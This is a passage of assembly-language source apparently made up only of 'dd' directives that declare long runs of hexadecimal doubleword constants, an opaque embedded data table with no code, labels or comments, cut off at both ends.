40545ACAh, 0C7003778h, 76E2EEDDh dd 6BC38Bh, 2EF8C50Dh, 9367423Bh, 0D072BC0Fh, 1C45B31Ch dd 48C0B922h, 49E1EC79h, 0C413584Fh, 580680ABh, 0EB04844Bh dd 5EB0EDAAh, 81148Ch, 92C16348h, 2B23FEAFh, 5B01EF7Ch dd 2CD0B3A3h, 0FDD493E9h, 84C30286h, 0BD53FBAAh, 0E40C4F40h dd 0F4291A00h, 2DC460E6h, 0E3713CF1h, 33641E80h, 0E8AAE146h dd 0E963D607h, 0CC8711DCh, 0E70D0580h, 7BC00010h, 0DA797590h dd 0AC004D45h, 0CAADECE3h, 8DD936h, 71F4893h, 0EBDAB6E4h dd 0FFEABD00h, 0D19583Ch, 0A687008Ah, 0B4816F70h, 2200465Eh dd 99DF0CE8h, 0FC90E9h, 57D73074h, 2A20D0ABh, 0D4984D04h dd 0C080286Dh, 0A06659BFh, 13CAC8E8h, 1E7109FBh, 47C700DCh dd 58843661h, 0F88C8B30h, 4292BEEh, 0D5AA9520h, 48C480CBh dd 0A0009990h, 6BB7C35Eh, 0E87C137h, 933933BEh, 8E0A95Bh dd 21001578h, 0AF6237BFh, 587FF404h, 0F57E4836h, 7B792630h dd 0DC090F72h, 0F309ED97h, 0FBDB0880h, 87F89163h, 0AD2896EEh dd 4301D245h, 86798E97h, 0F020B0FDh, 5E3D13B7h, 98470C6h dd 6B00EBC3h, 96653CFEh, 38EA7D72h, 1705AB2h, 1B4F8575h dd 30FD05DDh, 82201794h, 27998F5h, 50E0232Dh, 20E0C238h dd 780971A9h, 20BDAC6Dh, 3C741230h, 4B2F07B3h, 0C1F58E30h dd 366F698Fh, 2D780958h, 0CEBC80DBh, 355E4h, 60EE920h dd 3D08187Eh, 0FE755313h, 64258C4Ah, 3C609A12h, 0B4A3C4h dd 4FE005A9h, 0E460D87Ah, 17751498h, 0FD346700h, 0F7BC104Dh dd 709402ECh, 0B19B9DC2h, 77E6CC64h, 1C58830Ch, 3C069890h dd 0A6922EAEh, 884440DAh, 0F7E0AC53h, 0EDFDC226h, 0C4085C00h dd 34A684h, 39D5594Ah, 0BDF3253Eh, 8257B800h, 79643DC8h dd 70CF04C5h, 87C72363h, 74377127h, 9A10CCD4h, 33EC200h dd 0DC1BAB1Ch, 2DB13BF5h, 0C009501Fh, 6D97D318h, 2714486h dd 28797B03h, 801D1F91h, 8AD2C5h, 3AE658F8h, 336A9C6Bh dd 0B8AA441Eh, 2305B1EEh, 0DB001B13h, 32BB09E3h, 39970545h dd 807730E6h, 0F6FF6185h, 54C76E00h, 6D63EC99h, 503179AAh dd 3CD5B6ACh, 2E1786C9h, 0D82300B6h, 21DD35D6h, 0BB4748h dd 6DB4FEF1h, 29C0C3h, 7FDB875Fh, 4BC82286h, 6E4D800h dd 0CF801705h, 0C020DF2Eh, 0BCD197EAh, 0DB00E8F0h, 65D56CD9h dd 3A3B04DDh, 8F1C7B88h, 0EE1980C9h, 0B0F88EF0h, 0E79CD801h dd 0CECCE96Ah, 0E20992E0h, 0A2E30572h, 0C98C3Ah, 424446FFh dd 40006686h, 0B1E124AEh, 0C1CE18h, 3E4F075Fh, 0BDFE113Dh dd 94F0C200h, 58822E2Dh, 0B410093h, 0F3D79281h, 3900B785h dd 2CE1B0CCh, 7239D4Dh, 0CA94D630h, 0F899D020h, 0F9018859h dd 35CB46E8h, 62C5C3B7h, 0A0D4CB70h, 0EA8DFAh, 70334FB5h dd 0FEAA2876h, 11ACDD00h, 0B2350F41h, 64521DA1h, 220CFA7h dd 0A99C8281h, 678C7028h, 5C347A00h, 3E278518h, 12B674A4h dd 32CA2C5h, 6A6F530Ch, 0F802B3D0h, 0D8393028h, 0D6DDC100h dd 3DC64237h, 0AE540032h, 440A608h, 0EF03E924h, 82B9F423h dd 0D709702h, 607D654Ch, 289D4151h, 9124A0F9h, 0C70E28E7h dd 0A30490EDh, 0C1438F01h, 0F0831FA5h, 9B07CCE8h, 8C09173Ch dd 20B48080h, 405612A3h, 27030CEh, 5DE20F1Ah, 3B05A000h dd 0AAC1B75Eh, 0D5280026h, 0F256D16Eh, 892CFBBh, 3608BA12h dd 30343011h, 0EC88381Ch, 0BEC83F6Dh, 3BC1117h, 0EDB505C5h dd 361F60D0h, 4FF75013h, 4CEEEA00h, 4B9962Ah, 439E64AFh dd 0D3FDC0A1h, 0D03942Ch, 932E9BFEh, 0CF0288D4h, 0A55850h dd 6E1EC900h, 0ECFA24CEh, 0F1DAE81Eh, 0BA0680FAh, 15A982C4h dd 6FAB3B1Bh, 85E5CA81h, 0D839F741h, 461DBC25h, 0AA0075C1h dd 9330C938h, 45E00731h, 0BE8A1576h, 80DC6C80h, 941C1A8Eh dd 2C87D29Dh, 0C610F34Fh, 38C77461h, 73008828h, 80FBB59h dd 95001202h dd 1E21036Dh, 0F0D604CCh, 9FF60093h, 0FEFD8A1h, 0A20E8BB9h dd 20AA5890h, 61B3AE29h, 19E4FCh, 69499FEh, 397923B6h dd 0B0A33601h, 0C6D64EC1h, 0A2AB2480h, 55B5F0C9h, 4B7DC700h dd 9830256h, 0FFDFC8Fh, 0FF70C610h, 0AED87440h, 6600EDBBh dd 0BF19F062h, 4C4AA3FCh, 0E603711Eh, 0CD0A508Fh, 3ECE32D0h dd 0ACE4C61Eh, 6B9C3580h, 5C9982FAh, 0B1058AE3h, 83D85E09h dd 420E186Ah, 0D2AA59C0h, 0D2103801h, 80FCF865h, 0F5B000A1h dd 2F37AE86h, 2E0F6EEFh, 2E7A9C88h, 0A29D20BCh, 7DE94Bh dd 1269E131h, 7BF27FB2h, 5FB73A07h, 9A909DBEh, 1E0A030Fh dd 871D725Dh, 869CA1BDh, 56007174h, 22899B52h, 1F3F73F8h dd 9F6BC5h, 7779A0ACh, 8D1406BEh, 20180B4Dh, 8A2A40B3h dd 86013274h, 0F1431B8Dh, 5730814Bh, 0AB390018h, 5B49D4E6h dd 0A400E08Ch, 23B5D902h, 4631FEFh, 0AF90350Ch, 0E6F4807Fh dd 7B77F8B3h, 9C016500h, 2FBACBCDh, 2D620BBCh, 0AC80A7FDh dd 5BAD3137h, 3A5DA0C1h, 0BCC414D5h, 19C700CEh, 4798421Ah dd 4350878Fh, 0A8035258h, 0E7A52B74h, 6D380096h, 804CB3CBh dd 383C17EDh, 1DB696FCh, 587A0302h, 2EC56033h, 744600B5h dd 0A1BE09EBh, 0CC172A14h, 6700E3DFh, 9ECEEC07h, 0D2820096h dd 0F38DC36Eh, 4739A6DEh, 406D00B1h, 0C7CB0FFEh, 0CF9F0011h dd 5ED344BEh, 2F3EB298h, 946880A6h, 77BB585Fh, 0F960397h dd 86FF092Eh, 0B519A0C0h, 916B3B00h, 20EFBFEh, 3207000Ah dd 61FF5180h, 5418CA56h, 71E8418Ah, 153600D5h, 2E06B470h dd 78FC2099h, 38EDDD00h, 800354B0h, 4B6D3E19h, 34A35600h dd 0B31ADCD5h, 4ABB0095h, 0F69FA1h, 4FEC71FCh, 9E3E6C82h dd 0F4CD8F00h, 68137B97h, 775E00D6h, 2014FDDAh, 0F926B1ABh dd 6C0360BAh, 0EFB8FED4h, 0D81567B3h, 8227B2h, 3FD6AAECh dd 7E6E8A96h, 500C691Eh, 0ABB2DF41h, 7CD46738h, 0AE72A7h dd 89875D9Fh, 588EDC92h, 53B00F7Eh, 0E9BC314Bh, 0DB376F00h dd 1DB54348h, 0D009E8B0h, 0B2AE92h, 1433203Ch, 0B975008Dh dd 1E4E2AE7h, 20E0C9Bh, 0A018ECEDh, 0C8A26C56h, 0E47E08h dd 0B2E61FF0h, 83128EA6h, 9BEF3Ah, 0A38763Bh, 0A8FFDCh dd 208601BFh, 9D5B0CA9h, 0B8786A0Fh, 6300BE54h, 930E3268h dd 7F750084h, 64D03623h, 961E8C6Dh, 0EE49B97Bh, 0E78F00A7h dd 1CA5925h, 316CEB8Ah, 2490098Bh, 74019564h, 0F11A2E7Eh dd 7AF869E8h, 10CF660h, 0B8677FF2h, 8723D402h, 0EC04F64Eh dd 0B9B61573h, 99D025E0h, 71080067h, 0C6EADCFDh, 0E2004246h dd 0D6695263h, 1A5FB29h, 78BBC030h, 0C87E4BD5h, 0A101C5DEh dd 0C71F4655h, 50F8B263h, 6C74A9h, 6E94A728h, 0D343B91Bh dd 3524CCB8h, 6B9D86F6h, 0C0168DCEh, 227F17D6h, 0C6DE6097h dd 0BD60F447h, 0BB803Ah, 318CB676h, 1092610h, 9C91DE20h dd 0D8C01411h, 617299Ah, 0DEB8ED7Dh, 48BCDA01h, 0E05C20E4h dd 3B0041D4h, 6CA6684Ch, 634F1Fh, 73C4AD9h, 0D1259A15h dd 289B4A0h, 0A1E4410Fh, 8857E3FBh, 472298C0h, 9C110252h dd 0FFCB9FBDh, 0A0FD58E0h, 0C381B000h, 0E9704929h, 8CE33BFBh dd 0F37A4680h, 8794427h, 15BB9F00h, 5DB69CCh, 6DE884h dd 0E717E8FCh, 0FB76B3B1h, 53413800h, 0EBBE8C75h, 0A5F662h dd 42E188F1h, 645ECE49h, 2B00B77Dh, 4F777F86h, 0ECC820h dd 0CA13A398h, 0B453ADB0h, 63195Ch, 0A511ABF3h, 942A7EA9h dd 331802E7h, 2848F6B3h, 5FF2153Ch, 853E5417h, 1B90814h dd 0BBEAD1CCh, 66D4F9A0h, 37DE0248h, 0EC7D1BB2h, 1DD3D8E0h dd 0AC8A7800h, 90DA0AFCh, 2E080184h, 0B929F38h, 89E020F2h dd 0BCA348h, 5E9530C1h, 763AAF0h, 7C0531A5h, 8B323099h dd 58924151h, 0D800BDF4h, 0C65507E4h, 0FC6BE91Ch, 99ECE75Eh dd 0A81D00E7h, 3F5D7924h, 0E900B5C4h, 0B7AE3847h, 3AADA935h dd 3D85729Dh, 48A063h, 959EC6F4h, 4F003832h, 0FB246489h dd 0D02C42h, 3B0C015Bh, 929B58DCh, 0C9D83Dh, 1B430F74h dd 1F9F3EEDh, 9D45BCh, 41273081h, 205C973Fh, 758524DEh dd 16C0041Eh, 0DDD9F72Fh, 429100B3h, 6DAFE677h, 98008A11h dd 259E3087h, 767B23Ch, 0DFCDA9B7h, 0AE970CCh, 5C02EE10h dd 0BF0779C7h, 63B86135h, 0B0DE01C0h, 6B400024h, 8BD0705Ch dd 0B20BB98Eh, 805047E3h, 0AAFFE980h, 6623002Dh, 0BBBC4B0Fh dd 6A00364Dh, 68C2492Ch, 642AEh, 758B081Fh, 0E8C6C5Ah dd 0E7C80107h, 5010E248h, 199BAEh, 7C656416h, 0BA89D067h dd 7EA4EE00h, 0A44660Bh, 12010B2Fh, 7C27CDA6h, 13DEF42h dd 5E072A2Ch, 0CF9830D7h, 0DC13377Eh, 0DC4049C5h, 0DDB6FAB5h dd 7B400227h, 9EE98420h, 7AF30840h, 894DFB00h, 23E5F443h dd 0DA700083h, 0DCA30253h, 86002C0Bh, 8877742Dh, 69F335h dd 2F133E0Fh, 4279875Fh, 0C8F0760Fh, 0D61E619Bh, 0A6C0B10Eh dd 5D451272h, 7A7201E3h, 0E00F09E1h, 0B770492Ah, 5F91CA00h dd 873820EDh, 573D0007h, 92B24FC2h, 9CEE9EA4h, 60DA4600h dd 59289144h, 481F003Bh, 65C455D3h, 0AF0081AAh, 0A7FC37EAh dd 622DF1h, 0E668D92Bh, 0F3B1390Dh, 769DC000h, 358057BAh dd 0D6523055h, 4B6AB861h, 6906D801h, 5068EB82h, 0B196DECh dd 0D11DBAECh, 91667400h, 8500D2E9h, 24721532h, 7DA738h dd 0EF8954B4h, 60683BB8h, 0BDF64E09h, 2FB38090h, 0FAAC30h dd 36CCBBD5h, 0C544A17Fh, 2900DCB0h, 0A218B42Bh, 388DADh dd 7209AA23h, 40A67DC8h, 0E2713403h, 0A0B641BFh, 0FC561Ch dd 0BE072D8Dh, 90A4BA54h, 3B050F00h, 5B4EE6ACh, 0A0DA0004h dd 0EACEA823h, 0DD027FCBh, 0A2059C13h, 5AD0802Dh, 3939184h dd 70B11ECCh, 0BDCF0BCAh, 3AC1E0B0h, 28C6B900h, 2134751Ah dd 6DD83F5Ch, 13A100F6h, 0FE3755A7h, 2400E622h, 212D0965h dd 3F8CD53Dh, 840081A4h, 0F80DD345h, 0E007895Eh, 0C1CD653Ch dd 0E0FE8EDFh, 0B6C52705h, 4B0400A0h, 89DF1A88h, 1C0FF534h dd 0C3DD2FC1h, 0D81FCF44h, 0F2BF21h, 2B832A52h, 346566D6h dd 0C768B30Fh, 0FF98801Fh, 0B5374DC1h, 7900A7D0h, 0A13574A4h dd 9AF2571h, 0E95C46C3h, 686F1E83h, 0C84DAEB0h, 283DEA00h dd 9C206D0h, 0E2F76F9h, 0DA3F16A5h, 4C000A89h, 0BAD3536Dh dd 96C5C400h, 8D5F886Bh, 0F3CC0071h, 6A7D9F2Eh, 0E2E03539h dd 4F85C000h, 0F22F3A93h, 9F0300E6h, 28D5FCDAh, 0EF005D44h dd 898D5254h, 0F5C880h, 0CAA6D1E7h, 8E513B02h, 0C1EDF704h dd 0C7804156h, 0F6C6CB66h, 7A610B9Dh, 9A00C5DBh, 0B670AF96h dd 6842984Ah, 482CD5A3h, 75A99AFCh, 0A8BE3A74h, 59913609h dd 7BB0E840h, 75925E00h, 8CE2AD86h, 0D47AABh, 7707AAF6h dd 2A8B7AA3h, 0D374DF7Ah, 0DA9881ECh, 4DD14000h, 5FD73909h dd 12C100A6h, 3FAFBD49h, 4F009959h, 9F47055Ah, 3E8421Dh dd 0B6A1C379h, 0A1009BFFh, 0C16FA52Bh, 0C0CEC49Fh, 37BCD0A9h dd 2BF03BACh, 736EB51Fh, 0B859DF8Dh, 9AB3CCh, 0F8277D97h dd 0C1A18988h, 81A4AC27h, 586513F4h, 7DC4864h, 5946BDFDh dd 435C002Fh, 2258147h, 0D3E41818h, 279B0B45h, 6F03D4F1h dd 7988BE16h, 9700FFFEh, 0C38CBB73h, 63934h, 637F831Ah dd 0ABA66FB3h, 230BCF09h, 93BF84C9h, 11307AC7h, 79403Ch dd 8DA1EEE5h, 95BAD8F0h, 60FA11B8h, 173F0F00h, 4231CB24h dd 74EF00CDh, 0B7D5C63Bh dd 360077A4h, 50C292F5h, 712875ABh, 996E0007h, 0EA78DF38h dd 0AA00776Ah, 13496759h, 972D63h, 7129A96Eh, 79A3CD3Ah dd 0F04E5E07h, 0B2A0EDFCh, 0AD9F65h, 0CD33E87Ah, 847FB95Dh dd 0AF4F0700h, 630E978Bh, 9E4B00A4h, 5F94EB2h, 0B603604Dh dd 31D84371h, 0DDD3F939h, 40863EE1h, 18D145E9h, 0BA0383F0h dd 1D6F4F18h, 0BE610363h, 3F942D8Ah, 141C3D4h, 0B62471DFh dd 62208335h, 0A365F25Fh, 0D7A0F03Eh, 5B29000Eh, 9BE29C64h dd 4800421Bh, 7E878DAAh, 7F63F38Bh, 2230C0A9h, 83A3F09Dh dd 0FC770B00h, 5768CE6Ah, 33210682h, 28637C61h, 0AC81CD00h dd 0D5149F8Bh, 0E707002Bh, 3CF2D973h, 20010A98h, 56B5436Ah dd 0B98A4FA1h, 0FC7D7Ch, 5F0F8442h, 0CB609E1Ch, 329CECB0h dd 884537E8h, 0A06C7789h, 2F800889h, 0ACE941C3h, 8C00B55Ah dd 0AD47E036h, 4540C1C6h, 0E880BA4Ch, 2D7AFA2Ah, 341B51F8h dd 0B731565Fh, 7FE58480h, 0D2E100C1h, 48CA61E2h, 157CA85Dh dd 0A71D8600h, 0A352C5D5h, 45300FCh, 17814CDFh, 76005884h dd 0B8FE2BA4h, 0D9374Ah, 0E0B0BFF4h, 7FE283AAh, 0BF1C500h dd 39EDCE19h, 0D42E00D1h, 0DC2A3EB0h, 0AB1E6A21h, 84803A3Fh dd 7D7F3797h, 3040761Bh, 85409BE8h, 0D458C4DDh, 801618CAh dd 76264210h, 1A47FC9h, 1D47CCCFh, 812BDB1Fh, 0BFFFED21h dd 0BAE4EF42h, 688CF948h, 8E514AD4h, 5EE63705h, 0FF878653h dd 2D1E6E00h, 0D1E906B0h, 2846E360h, 9A9FE203h, 810CDB11h dd 0A56116EFh, 21A40898h, 1800E9BEh, 0E19819D6h, 3A8385Dh dd 6E5F2E4Ch, 1BE87E11h, 0A90054A7h, 0F6A19BE6h, 65D29Ah dd 44CF28C5h, 577FB5F7h, 0FDED600h, 3D695D80h, 836B001Dh dd 0DC148E1h, 0D70F3323h, 0C7C9AAF7h, 0B630F0C2h, 98E81BECh dd 0CD2B00D7h, 0AD1A3292h, 1200CAB7h, 51BE9F7Bh, 0B1FF41h dd 5BDEA9F9h, 5E561959h, 0CBFC1209h, 0B0A28030h, 11F32EEh dd 0A422C2A8h, 0D4C9653Bh, 0AA779883h, 0A5D56B0Bh, 0DE04FD3Ah dd 0F11AC069h, 700E15EBh, 60010951h, 98F3CB06h, 0DDD800BBh dd 0B1C6BF9Eh, 54000777h, 37DFA602h, 7D5BB70Dh, 5A4A1283h dd 417A1EAFh, 461E47C1h, 643D0CAh, 852EDE02h, 0E197625Ah dd 9C60FDE2h, 982503E5h, 2037C948h, 0E6EE99B0h, 13B0F61Dh dd 3E907686h, 314F419h, 0DE3505ABh, 0BCA0FB34h, 38019A28h dd 0DD4E1253h, 0B0834993h, 0A1E24047h, 1A794Ch, 2C6B69D6h dd 7139F497h, 3BF842h, 0A735C53Eh, 3098367Bh, 48E45100h dd 1DBCC021h, 0ACF63086h, 0DE57B4E0h, 51CF4A07h, 407F2D7Ch dd 0E7585CD1h, 73083AF1h, 1E7AA700h, 95225586h, 1F6F9600h dd 0E84AC0C9h, 8E60007Bh, 0F8B5EC10h, 0EB7428CBh, 0B3B21700h dd 65A0E54Ah, 0A1C53CFEh, 9BC8C40Fh, 2BD978Fh, 90D162B8h dd 3AA5EC0h, 6DC8A50h, 5AF69501h, 0D3DB4D3Fh, 7FAD1882h dd 0F162C0C8h, 6F9883DDh, 5060609Ch, 0EA13BEB9h, 18BACF30h dd 0B1C4142h, 0DF564F38h, 18A2AF06h, 2F356400h, 36FEF6F3h dd 85D00BAh, 437EC265h, 8A005CF5h, 0A6950401h, 0A3DA89AEh dd 0BF4C0DFh, 0B6990087h, 0F08474BBh, 0E90EBD41h, 0C0CD1A71h dd 0A13A8207h, 2A680040h, 4438FCABh, 0E10014D9h, 0CBA5B1C1h dd 7F3A1109h, 0C7100F7h, 45750F0Eh, 5F301DD0h, 81932014h dd 5D4100F6h, 21552353h, 9B00707Dh, 7AEE72C5h, 723CD148h dd 38A4003Eh, 3B78888Dh, 230211EDh, 0C668EA56h, 1521C083h dd 28E301CBh, 27319AADh, 0F029E0A6h, 840B360Bh, 95390190h dd 99D0EFD5h, 0CBB01EDDh, 7B36CEEEh, 0E0AB27C0h, 782659E5h dd 0D80612F3h, 6494393h, 582A5709h, 13FC113Dh, 637A7E07h dd 4ED07B15h, 0D91A17h, 6FC8BA3Dh, 0D1785C23h, 490DE105h dd 8C073E2Fh, 24702E2Ch, 0E6463DCFh, 5F76FEh, 19B50142h dd 1299B878h, 7A091E00h, 0A4EA4D20h, 10E30081h, 0ADE88482h dd 3F39AABBh, 2E600006h, 964EB1CEh, 2370D2h, 4167E984h dd 92956927h, 1F3D9378h, 0C55E8089h, 9B637BC0h, 82FC0025h dd 0A95381D5h, 0CE01841Ch, 0B5129CB3h, 9DF4F727h, 6CD11EECh dd 3D187056h, 7A0E91DCh, 20419EBCh, 6BBFE992h, 87890ED1h dd 0A167E36Dh, 7464F02Dh, 0CF72ED5Dh, 43D9C602h, 40F2AFBBh dd 4D13CBh, 0EDDE564h, 9799AD61h, 0FF3CFD00h, 0F5B8AA82h dd 415D006Eh, 94802C93h, 310017E9h, 0A30B50BCh, 6CE491h dd 0D912F089h, 0DECAB3EEh, 93275E00h, 0B21D2057h, 444E00A4h dd 3C2A6732h, 0D3001A38h, 399EC652h, 39975FAAh, 998376D5h dd 0C253F8BDh, 0E7C630E7h, 0B91F6ACBh, 4880076Fh, 8A4C9034h dd 405F0E2h, 4F1FE91h, 5530C0E6h, 0BD1C3E9Bh, 0CEC60EC7h dd 4701085h, 299DA490h, 57D50053h, 79359BE9h, 39A44F9h dd 2CC391C0h, 0DF7857h, 9C2AFD2h, 0FE1EBCB9h, 90F01F00h dd 9B3F0B95h, 241C06D6h, 582A710Fh, 0B891691Ch, 0C7841030h dd 3EAC3894h, 3D4DA906h, 9F001810h, 0D7C878B3h, 28F2FAh dd 0CD88DDB4h, 80DCB9F7h, 9D3AECE4h, 64CBE43h, 0F9F875D2h dd 0C61001B8h, 0B0AC76A3h, 0C07DD1A6h, 2F01B488h, 4CC2722h dd 6D47954h, 14EF074Fh, 0B0AF3C7Eh, 0B3608466h, 0A6A980EBh dd 90D43085h, 98FF09BBh, 0F4826BB7h, 8080ACB3h, 1E6A892Ch dd 0E7008BB0h, 11519B8Dh, 0A8A98Bh, 58F91FF5h, 8390B6DFh dd 3C9BF9C1h, 0C4000193h, 0F4500854h, 0B407908Ch, 0D1FC7E1Fh dd 0EBFA0570h, 0E7FF00B7h, 0BDB3C2DEh, 0FB00D355h, 27A97EE4h dd 7482FB5h, 7C9826EDh, 921C20C2h, 9E1F68A1h, 0F9A3A8h dd 0F2DB6ED5h, 0A73ABh, 9016E1CEh, 8483C3F0h, 3C3CCBE6h dd 2C5E8152h, 0DEC2DA58h, 1F7492C4h, 41F1D10Bh, 0EDC0D6DFh dd 543E0BEh, 8DE8EB00h, 6DE5275h, 0AE070085h, 6C36C2FBh dd 440C1337h, 10C472D6h, 0EB4D008Eh, 23E270FCh, 1C0006E6h dd 911FDE9Ch, 8D0284h, 476183C1h, 0E54D5BE1h, 8B642800h dd 70D293E3h, 0F97B40h, 85D4B044h, 8EFEA263h, 781EC700h dd 1BADED14h, 1C4F75ABh, 0C039EE6Eh, 0B94A5C84h, 650791B8h dd 6694BCFDh, 56A5CC40h, 0DF0E004Bh, 1C89FF43h, 750FA73Bh dd 4C01F2E7h, 3880A1B8h, 0AB0FFBE1h, 4C603D0Eh, 0E2F1BEA6h dd 0DD0C3B00h, 96B7F44Eh, 0CD66004Dh, 45EF022h, 0D61C8A97h dd 0F0F7128Ch, 0E4003B87h, 60A556EBh, 9B8050FEh, 44006402h dd 7ADFDBD5h, 0AE256Fh, 0A326084Fh, 0D9EB82D3h, 2C1C10C7h dd 5073B370h, 91190049h, 0E6E1522Ah, 3503D124h, 0B8DFF438h dd 0B4582E09h, 0C4B50112h, 0F09A95DAh, 5D007C08h, 8FE3454Fh dd 5830A3h, 36BA6827h, 6CA6FA80h, 0A4F9A000h, 0C0AC1CBCh dd 496407C7h, 0A019AD03h, 26E825C4h, 0DAB22800h, 5365EBF4h dd 30297E1Eh, 669006CDh, 67000B2Bh, 6CC375FCh, 355B0A0Eh dd 996979h, 9DD0DD00h, 0A220D824h, 86FE00F7h, 0D1250128h dd 0D724CE0Bh, 0D28024E8h, 0B236C391h, 0A2B814h, 505E894Fh dd 2C2C73Bh, 0A716018h, 89F84159h, 20D00CDEh, 6208BF0Eh dd 408505Fh, 4ADC44Ah, 0C6241290h, 7C5459EFh, 6248A558h dd 8AD7066Ch, 8159075Dh, 5892B2A6h, 58145946h, 1BAC566h dd 180838ACh, 0B9E9EE45h, 0B8485D08h, 0A6ED0A0Ch, 400858EBh dd 4CFA8A16h, 8C53802Ch, 9A8B237h, 72F82484h, 540209DCh dd 0A87A2810h, 1CA040FFh, 0EF013EC9h, 0C382C5FAh, 0D5F9378Bh dd 5070C2h, 252E64F9h dd 0C5DE2B32h, 0D11C8D00h, 0FD74083Bh, 684C6EF0h, 833249E4h dd 36EB7E70h, 1A5CC803h, 0E15984D1h, 0A06B2651h, 0FC03BAF3h dd 0FAF23537h, 0B2F590CBh, 20C64C09h, 3946D607h, 1D940FBh dd 51006AB1h, 3F0CC5FCh, 3A3770h, 0DA4EEA7Ah, 26DECD4Bh dd 11004C92h, 8F10D42Dh, 601EE1C0h, 46995081h, 0D2000A5Dh dd 0B1C495DEh, 644A1D1h, 9ED5F1DCh, 16ED856h, 261FDDC1h dd 83A09C6Ah, 3C00F8D0h, 0AC56C63Ah, 14D36EB8h, 0B84D15B9h dd 0F916033Ch, 0A03F012Fh, 0E0C02013h, 3B147095h, 0C0E88F67h dd 0EB645DAFh, 0B8F9507Ch, 11D004Bh, 0B8D81121h, 713A3AADh dd 0F0D22A9Dh, 328B2A00h, 0A01FD0C2h, 0FCDF00D1h, 66FB03BAh dd 0A898FA17h, 29EF0506h, 53619FE1h, 6C3BBCB8h, 3FB43487h dd 643D41A2h, 317120A9h, 8300FD79h, 0F558FAADh, 71C9BD55h dd 0D57E7Ah, 0E2CE87EAh, 53AA22DBh, 41351200h, 7C4C041Ah dd 29EA0007h, 99E452D9h, 2A00B931h, 9A54BD3h, 0F6C95B30h dd 0EAC700E6h, 0D1BBD65Fh, 4500E53Ch, 0FE012070h, 8B8FB5h dd 0E934BF85h, 72EDBE3Eh, 0F1C3DA00h, 0E323735h, 50EF0060h dd 762668C8h, 770075FFh, 0FA51E4C2h, 8C54BCh, 0B8B3A0F5h dd 0FBF08F5Dh, 0ADF72900h, 6E108212h, 0BEBC008Ah, 7C1B592Dh dd 0F1056C4Ch, 0C347073Bh, 0C0C0D2C4h, 0B239ACh, 0E7A20AC1h dd 19235894h, 0E31C7500h, 0F922E2DAh, 24FD3889h, 4E8B5380h dd 8EB1D9D7h, 2907B39h, 2F09EEA8h, 56B260FEh, 657300A3h dd 606DB5CDh, 0DF0944C6h, 2318EFh, 0E2A9D96h, 0FA7A0067h dd 0A9FF840Fh, 0C8004AC0h, 1012DF6Eh, 0E8ADB7EDh, 4CBC000Eh dd 47483FCFh, 77006DBBh, 92D19A38h, 1C625396h, 0C04A244Bh dd 0CE70768h, 0DD00D363h, 6F8ACCE1h, 0EE144D0Fh, 5D61013Ah dd 107CD07Eh, 4FA0E084h, 0FE86E00h, 221333FAh, 23D2009Ah dd 0C32A2CB5h, 5B0F327Ch, 0A01B665Eh, 0EF76408Fh, 0B0F7E20Bh dd 0C6F00E31h, 6A636DDBh, 28085B78h, 8412AEEh, 4C845C18h dd 0BA00E493h, 1E751379h, 10224222h, 1889BB64h, 5151DCC8h dd 28176155h, 15BD156h, 5188A57Fh, 0B29CE3A4h, 0EA181510h dd 52D8A181h, 89C72088h, 0BE3C41C1h, 0E5188D2h, 0D7BC8840h dd 16C5EB84h, 5C055202h, 8CDD8103h, 29E47806h, 5DDAFD18h dd 0C0C0E6F0h, 23059778h, 11006924h, 0D79B99D6h, 1E3D4D17h dd 4014F4F2h, 7FB1500Ah, 0D20048EAh, 0EF086227h, 601CD468h dd 0B1FE112Eh, 5500908Bh, 0C119CE53h, 7549953Fh, 82EF0050h dd 0F8808EA9h, 580EB02Bh, 37B52EC5h, 0ECFAAE00h, 7BF21EFCh dd 2C8D0EB1h, 0A8C77550h, 0EA83E341h, 49B58CC0h, 969F6B01h dd 3FEF6906h, 1EAEF1F4h, 0C05A4CA0h, 92E7124Fh, 9C008270h dd 8991B717h, 0C780C2h, 0C01356ECh, 7EAE2EF3h, 17D89C1Ch dd 0F0C6F9C0h, 3E24F48h, 0B5ED77FCh, 1000543Eh, 728EFD3Fh dd 3DBC8F7Fh, 8307DE27h, 0B0936F35h, 924AFE5h, 56DDD600h dd 0B421E0C3h, 0BB708Ch, 6B1AD291h, 0AD1D1FD8h, 0DCA4201h dd 0EFE9C43Eh, 3B6EF4h, 0FAE15DEDh, 6BFF0113h, 22580400h dd 0BDB8D4F4h, 37C400E0h, 0B795E474h, 7E0EEB30h, 0E00205C0h dd 1CB1E167h, 71D000B4h, 67832D3h, 0E40020E6h, 3842CD8Dh dd 2B8530h, 9EF1AA0h, 1763F722h, 0D975D81Ch, 38182DC0h dd 5C41B7AFh, 0AC1E0C8Eh, 26D6709Ch, 1000D68Ch, 1B1F3346h dd 281189h, 8A4CC3A0h, 91EABE8Bh, 531E0D01h, 6DF58099h dd 2CCCF0h, 0D9672F64h, 6B81EE48h, 427A7800h, 7EC04BF3h dd 947875h, 0B22D2EA0h, 442BFE7Ch, 1F5C2607h, 2F000EF8h dd 6D7FD1h, 0DE88F0A9h, 0B5053981h, 8F9FFD00h, 846E8E7Ch dd 19941DBEh, 0C883C05Ch, 0B4BFF13Ch, 0B1663900h, 92C9334Eh dd 197E06Dh, 0D481DD4h, 20BCB906h, 0A30067A8h, 0D3902425h dd 0AB4AC8h, 97DB8458h, 6B0EF32Bh, 0E9ED8C00h, 33575FF4h dd 48C300C6h, 1975315h, 8A1C8F8Bh, 0C40617Fh, 11CBCC10h dd 0CAD200F5h, 1F68722Eh, 18008150h, 0AE155CB1h, 0D3B448h dd 497A77DEh, 32C02464h, 1BB8170Fh, 0E0E3E03Dh, 318044Bh dd 0A5F4FF06h, 0B0C729FDh, 2D3BDE41h, 623A0A00h, 0BAAE4201h dd 1CBF076Ch, 2F47E2E5h, 0F51DC300h, 0CC0099B1h, 0C6D97E52h dd 5FA72AA2h, 4898EC95h, 0EA007CEFh, 19AD3BFEh, 0BD4731Ch dd 0D6DBBE6Ah, 3275FE80h, 880106FBh, 46D23C72h, 0A9CC81C2h dd 26F60085h, 110CFFA1h, 61008423h, 4902AE82h, 0D7DD4Fh dd 4D40A9C9h, 110B1815h, 0F0544100h, 876CBB3Eh, 8A1E002Eh dd 9A1D9B12h, 6500F8B3h, 1A9F2066h, 2B983Fh, 956A60C5h dd 92A78256h, 784AD407h, 13D34301h, 0F873D06Dh, 0CCA40396h dd 0B3C6BAA3h, 20F533D8h, 0A11FA57Bh, 511DF3BBh, 0CD0BABC1h dd 0F4C1798Eh, 2568FC0h, 14A6775Dh, 304095FCh, 0F9031380h dd 46EAAF85h, 0F780CD9Eh, 4B607Dh, 69D1EEDDh, 0C71BAB4Fh dd 661E7C0Fh, 